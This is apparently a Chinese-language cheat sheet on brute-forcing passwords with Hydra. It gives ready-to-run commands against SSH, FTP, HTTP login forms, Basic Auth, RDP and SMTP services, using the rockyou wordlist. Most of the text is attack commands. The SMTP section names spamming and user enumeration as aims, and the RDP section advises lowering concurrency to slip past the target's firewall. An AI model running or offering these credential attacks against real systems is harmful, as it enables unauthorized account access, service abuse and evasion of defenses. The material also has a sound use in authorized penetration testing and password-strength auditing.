协议爆破
口令破解
hydra是一种自动化的支持众多协议的爆破工具,暴力破解密码。
1 | 参数: |
SSH口令爆破
场景:测试目标 SSH 服务(默认端口 22)的密码强度。
语法:hydra -l <用户> -P <密码字典> -t <线程> -vV -o ssh_result.txt <目标IP> ssh
示例:使用用户 root、密码字典 rockyou.txt 破解 192.168.1.100 的 SSH:1
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_success.txt 192.168.1.100 ssh
FTP 协议破解
场景:测试 FTP 服务(默认端口 21)的登录凭证。
语法:hydra -L <用户字典> -P <密码字典> -t <线程> -vV <目标IP> ftp
示例:使用用户字典 users.txt 和密码字典 rockyou.txt 破解 FTP:
1 | hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 15 -vV 192.168.1.101 ftp |
HTTP 表单破解(POST 方法)
场景:破解基于 POST 请求的 Web 登录表单(如网站后台登录)。
关键步骤:需先通过 Burp Suite 或 Chrome 开发者工具 获取表单提交的 POST 数据 和 成功/失败标识。
步骤 1:分析登录请求
假设目标登录页面为 http://192.168.1.102/login.php,通过 Chrome 开发者工具(F12)捕获登录请求:
- 请求方法:POST
- 提交数据:
username=test&password=123&submit=Login(需将用户名/密码替换为占位符^USER^和^PASS^) - 成功标识:登录成功后跳转至
/dashboard.php(或响应中包含 “Welcome”) - 失败标识:登录失败时显示 “Invalid username or password”
步骤 2:构造 Hydra 命令
语法:hydra -l <用户> -P <密码字典> -t <线程> -vV -o http_result.txt <目标IP> http-post-form "<登录路径>:<POST数据>:<失败标识>"
示例:破解上述登录表单:
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -vV -o http_success.txt 192.168.1.102 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=Login:Invalid username or password" |
参数说明:
/login.php:登录表单路径username=^USER^&password=^PASS^&submit=Login:POST 数据(^USER^和^PASS^为 Hydra 占位符)Invalid username or password:失败标识(Hydra 会判断响应中是否包含该字符串,若不包含则认为登录成功)
HTTP 基础认证(Basic Auth)破解
场景:破解采用 HTTP Basic Auth 的服务(如路由器管理界面、简单 Web 服务)。
语法:hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> http-get /
示例:破解目标 192.168.1.1 的 Basic Auth:
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 5 -vV 192.168.1.1 http-get / |
RDP 协议破解
场景:测试 Windows 远程桌面服务(RDP,默认端口 3389)。
注意:RDP 协议对并发连接敏感,建议降低线程数(5-10)以避免被目标防火墙拦截。
语法:hydra -L <用户字典> -P <密码字典> -t <线程> -vV -o rdp_result.txt <目标IP> rdp -s 3389
示例:
1 | hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 5 -vV -o rdp_success.txt 192.168.1.103 rdp -s 3389 |
SMTP 协议破解
场景:测试邮件服务器(SMTP,默认端口 25)的登录凭证(用于发送垃圾邮件或枚举用户)。
语法:hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> smtp
示例:
1 | hydra -l user@example.com -P /usr/share/wordlists/rockyou.txt -t 10 -vV 192.168.1.104 smtp |
